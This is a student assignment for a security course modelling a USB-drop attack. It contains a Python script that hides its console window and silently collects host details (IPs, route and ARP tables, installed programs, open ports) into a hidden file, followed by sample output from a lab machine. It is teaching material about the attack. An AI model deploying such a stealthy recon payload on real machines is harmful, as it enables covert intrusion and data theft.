nscc

ISEC3077

Attack Vectors and Techniques

Assignment 2 – USB Drops

Jones,Christopher w0136969

2025-03-07

Contents

Preamble

USB Drops are one of the more common attack vectors in pen testing and in actual attacks. The success rate of this method is usually quire high. Training which involves identifying and reporting the presence of rogue devices in the environment should be a mandatory part of any Security Awareness training, with an emphasis on never attaching these devices to any equipment.

Requirements

Your task is to model this attack by creating a usb which contains an executable file masked as another non-executable file (i.e. Word, Excel, etc).

For reference, please see the slide set “USB Drops” in your course shell under the Content/Slides tab. Also, review the video “Hide a USB file” under the Content/Readings and References tab.

You may write your executable file in any language you like as long as it is capable of posting a file to a web page which is on an outside server (i.e. amazon).

When a user clicks on your file, your executable file must capture the following information from the host:

- Machine Name
- OS version
- All assigned Ips private and public
- Any information about the attached network contained on the host (i.e. Route Table, ARP Table)
- Installed Programs
- Open Ports

For this assignment, you are only required to write this information to a file.

All activities of your executable should be invisible to the user.

Source Code

```
"""
Author: Christopher Jones
ISEC3077 Attack Vectors and Techniques
Assignment 2 – USB Drops
2025.03.07
Description: Capture the following information from the host:
• Machine Name
• OS version
• All assigned Ips private and public
• Any information about the attached network contained on the host (i.e. Route Table, ARP Table)
• Installed Programs
• Open Ports
"""


# Import external modules
import os  # Provides functions for interacting with the operating system
import platform  # Retrieves system-related information such as OS version
import socket  # Used for networking, including retrieving IP addresses and hostname
import subprocess  # Allows execution of system commands
import psutil  # Provides system and hardware information such as network interfaces
import requests  # Used to fetch the public IP address from an external service
import ctypes  # Used to manipulate the system GUI, e.g., hiding the console window

# *Define Functions*

# Function to get the machine name
def get_machine_name():
    """Retrieves the hostname of the machine."""
    return socket.gethostname()

# Function to get the OS version
def get_os_version():
    """Retrieves the operating system version and details."""
    return platform.platform()

# Function to get both private and public IP addresses
def get_ip_addresses():
    """Retrieves all assigned private and public IP addresses of the host."""
```

```
    ip_list = []
    hostname = socket.gethostname()

    try:
        # Get private IP associated with the hostname
        private_ip = socket.gethostbyname(hostname)
        ip_list.append({"type": "private", "ip": private_ip})

        # Get all network interfaces and their assigned IP addresses
        interfaces = psutil.net_if_addrs()
        for interface, addrs in interfaces.items():
            for addr in addrs:
                if addr.family == socket.AF_INET:
                    ip_list.append({"interface": interface, "ip": addr.address})
    except Exception as e:
        ip_list.append({"error": str(e)})

    try:
        # Retrieve public IP address using an external web service
        public_ip = requests.get("https://api64.ipify.org").text
        ip_list.append({"type": "public", "ip": public_ip})
    except Exception as e:
        ip_list.append({"public_ip_error": str(e)})

    return ip_list

# Function to retrieve network-related information
def get_network_info():
    """Fetches the routing table and ARP table from the host system."""
    network_info = {}
    try:
        # Get the routing table which lists known network routes
        network_info["route_table"] = subprocess.getoutput("route print")

        # Get ARP table that maps IP addresses to MAC addresses
        network_info["arp_table"] = subprocess.getoutput("arp -a")
    except Exception as e:
        network_info["error"] = str(e)
    return network_info

# Function to retrieve a list of installed programs
def get_installed_programs():
    """Retrieves a list of installed programs on the host machine."""
    programs = []
```

```
    try:
        # Using WMIC command to get a list of installed programs
        installed_programs = subprocess.getoutput("wmic product get name")

        # Process and clean the output
        programs = [line.strip() for line in installed_programs.split("\n") if line.strip()]
    except Exception as e:
        programs.append(str(e))
    return programs

# Function to retrieve a list of open ports
def get_open_ports():
    """Scans for open ports that are currently listening for connections."""
    open_ports = []
    try:
        # Execute netstat command to fetch active network connections
        netstat_output = subprocess.getoutput("netstat -ano")

        # Extract and filter only listening ports
        for line in netstat_output.split("\n"):
            if "LISTEN" in line:
                open_ports.append(line.strip())
    except Exception as e:
        open_ports.append(str(e))
    return open_ports

# Function to write gathered system information to a text file
def write_to_file(data, filename="C:\\Users\\Public\\Documents\\sys_report.txt"):
    """Writes the collected system information into a text file in a hidden location."""
    try:
        with open(filename, "w") as file:
            for key, value in data.items():
                file.write(f"{key}:\n")
                if isinstance(value, list):
                    for item in value:
                        file.write(f"  {item}\n")
                elif isinstance(value, dict):
                    for subkey, subvalue in value.items():
                        file.write(f"  {subkey}: {subvalue}\n")
                else:
                    file.write(f"  {value}\n")
                file.write("\n")  # Add a newline for better readability
    except Exception as e:
        pass  # Suppress errors to maintain stealth execution
```

```
# Function to hide the console window to make execution invisible
def hide_console():
    """Hides the console window to ensure the script runs silently."""
    try:
        ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
    except:
        pass

# *Main function*
# Collect system information and write it to a txt file
def main():
    """Orchestrates the execution of system data collection and saving it to a file."""
    hide_console()  # Hide console window for stealth execution

    system_info = {
        "Machine Name": get_machine_name(),
        "OS Version": get_os_version(),
        "IP Addresses": get_ip_addresses(),
        "Network Info": get_network_info(),
        "Installed Programs": get_installed_programs(),
        "Open Ports": get_open_ports(),
    }

    write_to_file(system_info)  # Save gathered information to a file

# Run the script if it is executed as a standalone program
if __name__ == "__main__":
    main()
```

Output File


```
{
  "Machine Name": "DESKTOP-THQCFLI",
  "OS Version": "Windows-10-10.0.19045-SP0",
  "IP Addresses": [
    {
      "type": "private",
      "ip": "192.168.174.134"
    },
    {
      "interface": "Ethernet0",
      "ip": "192.168.174.134"
    },
    {
      "interface": "Bluetooth Network Connection",
      "ip": "169.254.237.105"
    },
    {
      "interface": "Loopback Pseudo-Interface 1",
      "ip": "127.0.0.1"
    },
    {
      "type": "public",
      "ip": "204.16.57.172"
    }
  ],
  "Network Info": {
    "route_table":
"===========================================================================
===\nInterface List\n  9...00 0c 29 f6 9c 9f ......Intel(R) 82574L Gigabit Network
Connection\n 14...58 6d 67 16 d0 e5 ......Bluetooth Device (Personal Area Network)\n
1...........................Software Loopback Interface
1\n===========================================================================
=====\n\nIPv4 Route
Table\n===========================================================================
=========\nActive Routes:\nNetwork Destination        Netmask          Gateway       Interface
Metric\n          0.0.0.0          0.0.0.0    192.168.174.2  192.168.174.134    25\n
127.0.0.0        255.0.0.0         On-link         127.0.0.1    331\n
127.0.0.1  255.255.255.255         On-link         127.0.0.1    331\n  127.255.255.255
255.255.255.255         On-link         127.0.0.1    331\n      192.168.174.0
255.255.255.0         On-link   192.168.174.134    281\n  192.168.174.134
255.255.255.255         On-link   192.168.174.134    281\n  192.168.174.255
255.255.255.255         On-link   192.168.174.134    281\n        224.0.0.0
240.0.0.0         On-link         127.0.0.1
```

331\n 224.0.0.0 240.0.0.0 On-link 192.168.174.134 281\n 255.255.255.255 255.255.255.255 On-link 127.0.0.1 331\n 255.255.255.255 255.255.255.255 On-link 192.168.174.134
281\n===\nPersistent Routes:\n None\n\nIPv6 Route Table\n===\nActive Routes:\n If Metric Network Destination Gateway\n 1 331 ::1/128 On-link\n 9 281 fe80::/64 On-link\n 9 281 fe80::a07b:b756:ab97:d0ac/128\n On-link\n 1 331 ff00::/8 On-link\n 9 281 ff00::/8 On-link\n===\nPersistent Routes:\n None",
"arp_table": "\nInterface: 192.168.174.134 --- 0x9\n Internet Address Physical Address Type\n 192.168.174.2 00-50-56-ee-45-2b dynamic \n 192.168.174.138 00-0c-29-95-60-9a dynamic \n 192.168.174.254 00-50-56-e1-0e-e2 dynamic \n 192.168.174.255 ff-ff-ff-ff-ff-ff static \n 224.0.0.22 01-00-5e-00-00-16 static \n 224.0.0.251 01-00-5e-00-00-fb static \n 224.0.0.252 01-00-5e-00-00-fc static \n 239.255.255.250 01-00-5e-7f-ff-fa static \n 255.255.255.255 ff-ff-ff-ff-ff-ff static "
},
"Installed Programs": [
"Name",
"Python 3.7.7 Core Interpreter (64-bit)",
"Python 3.7.7 Add to Path (64-bit)",
"Python 3.7.7 Documentation (64-bit)",
"Python 3.7.7 Standard Library (64-bit)",
"Python 3.7.7 Test Suite (64-bit)",
"Python 3.7.7 pip Bootstrap (64-bit)",
"Python 3.7.7 Executables (64-bit)",
"Python 3.7.7 Utility Scripts (64-bit)",
"Python 3.7.7 Tcl/Tk Support (64-bit)",
"Python 3.7.7 Development Libraries (64-bit)",
"Office 16 Click-to-Run Extensibility Component",
"Office 16 Click-to-Run Extensibility Component 64-bit Registration",
"Office 16 Click-to-Run Licensing Component",
"Microsoft Visual Studio Setup WMI Provider",
"Windows Mobile Extension SDK Contracts",
"MSI Development Tools",
"Windows SDK for Windows Store Apps DirectX x86 Remote",
"Universal CRT Extension SDK",
"Application Verifier x64 External Package (OnecoreUAP)",
"WinRT Intellisense Mobile - en-us",
"Windows SDK EULA",
"WinRT Intellisense PPI - en-us",
"Windows App Certification Kit Native Components",

"vs_communityx64msi",
"Windows SDK for Windows Store Managed Apps Libs",
"Microsoft Visual C++ 2022 X64 Debug Runtime - 14.42.34433",
"Windows SDK Desktop Headers arm",
"Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.40660",
"Microsoft.NET.Sdk.Maui.Manifest-6.0.300",
"Microsoft .NET AppHost Pack - 6.0.33 (x64_x86)",
"Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219",
"Microsoft .NET Host FX Resolver - 5.0.17 (x64)",
"Windows SDK for Windows Store Managed Apps Libs",
"Microsoft Windows Desktop Runtime - 5.0.17 (x64)",
"Microsoft Visual C++ 2005 Redistributable (x64)",
"Windows App Certification Kit x64",
"Microsoft ASP.NET Core 6.0.33 Targeting Pack (x64)",
"Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219",
"Windows IoT Extension SDK",
"Microsoft .NET Runtime - 6.0.33 (x64)",
"vcpp_crt.redist.clickonce",
"Microsoft Visual C++ 2022 X86 Additional Runtime - 14.42.34433",
"Windows SDK for Windows Store Apps Tools",
"icecap_collectionresourcesx64",
"Universal CRT Headers Libraries and Sources",
"Microsoft.NET.Sdk.Android.Manifest-6.0.300",
"Microsoft Update Health Tools",
"vs_devenvsharedmsi",
"Microsoft .NET AppHost Pack - 6.0.33 (x64_arm64)",
"WinRT Intellisense Desktop - Other Languages",
"WinAppDeploy",
"WPT Redistributables",
"Universal CRT Extension SDK",
"Universal CRT Tools x64",
"Windows SDK Desktop Libs arm",
"WinRT Intellisense Desktop - en-us",
"Microsoft ASP.NET Core 6.0.33 Shared Framework (x64)",
"VS Script Debugging Common",
"Windows SDK for Windows Store Apps Contracts",
"Windows SDK Desktop Libs x86",
"Windows Mobile Extension SDK",
"WinRT Intellisense IoT - en-us",
"Windows SDK Redistributables",
"Windows IoT Extension SDK Contracts",
"vs_FileTracker_Singleton",
"BinDiff",
"vcpp_crt.redist.clickonce",

"Windows SDK Desktop Tools x86",
"Windows Desktop Extension SDK Contracts",
"Windows SDK Desktop Libs arm64",
"Windows SDK for Windows Store Apps DirectX x86 Remote",
"PuTTY release 0.81",
"Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.40660",
"Windows SDK Modern Non-Versioned Developer Tools",
"Windows SDK Desktop Tools arm64",
"Microsoft .NET Host FX Resolver - 6.0.33 (x64)",
"Microsoft .NET AppHost Pack - 6.0.33 (x64)",
"WinRT Intellisense UAP - Other Languages",
"vs_filehandler_amd64",
"Windows SDK Desktop Tools arm64",
"Python 3.10.11 Add to Path (64-bit)",
"Universal General MIDI DLS Extension SDK",
"Kits Configuration Installer",
"Windows IoT Extension SDK",
"vs_communitymsires",
"Microsoft.NET.Workload.Emscripten.Manifest (x64)",
"Windows SDK Desktop Headers x64",
"Universal CRT Redistributable",
"vs_minshellinteropsharedmsi",
"Windows SDK Facade Windows WinMD Versioned",
"vs_githubprotocolhandlermsi",
"Microsoft .NET Host - 6.0.33 (x86)",
"Windows App Certification Kit SupportedApiList x86",
"vs_Graphics_Singletonx86",
"WPTx64 (OnecoreUAP)",
"vs_communitysharedmsi",
"Windows Desktop Extension SDK Contracts",
"Windows SDK Desktop Libs arm64",
"Windows Desktop Extension SDK",
"Universal CRT Tools x86",
"Windows Team Extension SDK",
"Windows SDK Desktop Tools x64",
"Microsoft Windows Desktop Runtime - 5.0.17 (x86)",
"vs_devenx64vmsi",
"WinRT Intellisense UAP - en-us",
"Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.42.34433",
"Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161",
"Microsoft Windows Desktop Runtime - 6.0.33 (x64)",
"Microsoft Visual C++ 2022 X64 Additional Runtime - 14.42.34433",
"Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161",
"Python 3.10.11 Tcl/Tk Support (64-bit)",

"Windows SDK ARM Desktop Tools",
"Windows SDK for Windows Store Apps Libs",
"WinRT Intellisense IoT - Other Languages",
"vs_vswebprotocolselectormsi",
"Node.js",
"Microsoft.NET.Workload.Mono.Toolchain.Manifest",
"Update for Windows 10 for x64-based Systems (KB5001716)",
"Windows SDK AddOn",
"Windows SDK Modern Versioned Developer Tools",
"Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030",
"Microsoft .NET Toolset 6.0.425 (x64)",
"Windows SDK Desktop Libs x86",
"vs_minshellx64msi",
"Windows Team Extension SDK Contracts",
"Microsoft .NET Host FX Resolver - 6.0.33 (x86)",
"WinRT Intellisense PPI - en-us",
"Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.40660",
"Windows Desktop Extension SDK",
"vs_minshellinteropx64msi",
"WPTx64 (DesktopEditions)",
"Microsoft .NET Runtime - 5.0.17 (x64)",
"VMware Tools",
"Windows SDK Desktop Libs arm",
"Windows Mobile Extension SDK Contracts",
"Windows SDK EULA",
"Microsoft.NET.Sdk.MacCatalyst.Manifest-6.0.300",
"Windows Team Extension SDK",
"Python 3.10.11 Development Libraries (64-bit)",
"Windows SDK for Windows Store Apps Libs",
"WinRT Intellisense IoT - Other Languages",
"Windows SDK Desktop Headers arm64",
"vs_minshellmsires",
"Microsoft.NET.Sdk.macOS.Manifest-6.0.300",
"Windows SDK for Windows Store Apps Headers",
"WinAppDeploy",
"Microsoft .NET AppHost Pack - 6.0.33 (x64_arm)",
"Application Verifier x64 External Package (DesktopEditions)",
"Microsoft .NET Host - 5.0.17 (x86)",
"Windows SDK Desktop Tools x64",
"Windows SDK DirectX x86 Remote",
"WinRT Intellisense IoT - en-us",
"Windows App Certification Kit x64 (OnecoreUAP)",
"Windows SDK for Windows Store Apps Metadata",
"WinRT Intellisense Desktop - en-us",

"VS JIT Debugger",
"Python 3.10.11 Utility Scripts (64-bit)",
"Windows SDK Modern Versioned Developer Tools",
"vs_filehandler_x86",
"Microsoft .NET Runtime - 5.0.17 (x86)",
"WinRT Intellisense Mobile - en-us",
"Windows SDK Desktop Headers x86",
"WinRT Intellisense UAP - Other Languages",
"Windows SDK Desktop Headers x64",
"WinRT Intellisense UAP - en-us",
"vs_minshellsharedmsi",
"WinRT Intellisense PPI - Other Languages",
"VS Immersive Activate Helper",
"Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.42.34433",
"Microsoft Visual Studio Setup Configuration",
"SDK ARM Additions",
"Windows SDK Desktop Tools x86",
"Windows SDK for Windows Store Apps Headers",
"Windows SDK Facade Windows WinMD Versioned",
"Windows SDK Desktop Headers arm64",
"Universal CRT Redistributable",
"Microsoft .NET Host FX Resolver - 5.0.17 (x86)",
"Windows SDK for Windows Store Apps Contracts",
"Microsoft System CLR Types for SQL Server 2019",
"Microsoft .NET Standard Targeting Pack - 2.1.0 (x64)",
"Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030",
"Microsoft Visual C++ 2005 Redistributable",
"Windows SDK for Windows Store Apps Tools",
"Windows IoT Extension SDK Contracts",
"Windows SDK Desktop Libs x64",
"Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030",
"Microsoft .NET Host - 6.0.33 (x64)",
"Python 3.10.11 Documentation (64-bit)",
"vs_tipsmsi",
"Microsoft Windows Desktop Targeting Pack - 6.0.33 (x64)",
"WinRT Intellisense Desktop - Other Languages",
"Windows SDK Signing Tools",
"Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.40660",
"Application Verifier x64 External Package",
"Windows SDK for Windows Store Apps",
"Microsoft.NET.Sdk.iOS.Manifest-6.0.300",
"icecap_collection_neutral",
"Python 3.10.11 Standard Library (64-bit)",
"Python 3.10.11 Core Interpreter (64-bit)",

```
    "Python Launcher",
    "Python 3.10.11 Executables (64-bit)",
    "Windows SDK",
    "Python 3.10.11 Test Suite (64-bit)",
    "vs_Graphics_Singletonx64",
    "Universal General MIDI DLS Extension SDK",
    "Windows SDK ARM Desktop Tools",
    "Microsoft Windows Desktop Runtime - 6.0.33 (x86)",
    "Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030",
    "Microsoft .NET Targeting Pack - 6.0.33 (x64)",
    "vs_CoreEditorFonts",
    "Microsoft .NET Host - 5.0.17 (x64)",
    "Windows Team Extension SDK Contracts",
    "Microsoft Visual C++ 2022 X86 Debug Runtime - 14.42.34433",
    "Universal CRT Redistributable",
    "Microsoft .NET 6.0 Templates 6.0.425 (x64)",
    "Universal CRT Headers Libraries and Sources",
    "Windows SDK for Windows Store Apps Metadata",
    "Windows SDK Desktop Headers arm",
    "MSI Development Tools",
    "Windows SDK Desktop Libs x64",
    "Microsoft.NET.Sdk.tvOS.Manifest-6.0.300",
    "icecap_collection_x64",
    "Windows SDK Signing Tools",
    "Python 3.10.11 pip Bootstrap (64-bit)",
    "Google Chrome",
    "Microsoft .NET Runtime - 6.0.33 (x86)",
    "SDK ARM Redistributables",
    "Windows SDK Desktop Headers x86",
    "icecap_collectionresources",
    "Windows SDK DirectX x64 Remote",
    "WinRT Intellisense PPI - Other Languages",
    "DiagnosticsHub_CollectionService",
    "Windows Mobile Extension SDK"
],
"Open Ports": [
    "TCP    0.0.0.0:135          0.0.0.0:0          LISTENING      940",
    "TCP    0.0.0.0:445          0.0.0.0:0          LISTENING      4",
    "TCP    0.0.0.0:5040         0.0.0.0:0          LISTENING      5324",
    "TCP    0.0.0.0:5357         0.0.0.0:0          LISTENING      4",
    "TCP    0.0.0.0:7680         0.0.0.0:0          LISTENING      2384",
    "TCP    0.0.0.0:9711         0.0.0.0:0          LISTENING      724",
    "TCP    0.0.0.0:49664        0.0.0.0:0          LISTENING      684",
    "TCP    0.0.0.0:49665        0.0.0.0:0          LISTENING      540",
```

```
    "TCP   0.0.0.0:49666       0.0.0.0:0          LISTENING     1324",
    "TCP   0.0.0.0:49667       0.0.0.0:0          LISTENING     1432",
    "TCP   0.0.0.0:49668       0.0.0.0:0          LISTENING     2560",
    "TCP   0.0.0.0:49669       0.0.0.0:0          LISTENING     2204",
    "TCP   192.168.174.134:139   0.0.0.0:0          LISTENING     4",
    "TCP   [::]:135            [::]:0             LISTENING     940",
    "TCP   [::]:445            [::]:0             LISTENING     4",
    "TCP   [::]:5357           [::]:0             LISTENING     4",
    "TCP   [::]:7680           [::]:0             LISTENING     2384",
    "TCP   [::]:9711           [::]:0             LISTENING     724",
    "TCP   [::]:49664          [::]:0             LISTENING     684",
    "TCP   [::]:49665          [::]:0             LISTENING     540",
    "TCP   [::]:49666          [::]:0             LISTENING     1324",
    "TCP   [::]:49667          [::]:0             LISTENING     1432",
    "TCP   [::]:49668          [::]:0             LISTENING     2560",
    "TCP   [::]:49669          [::]:0             LISTENING     2204"
  ]
}
```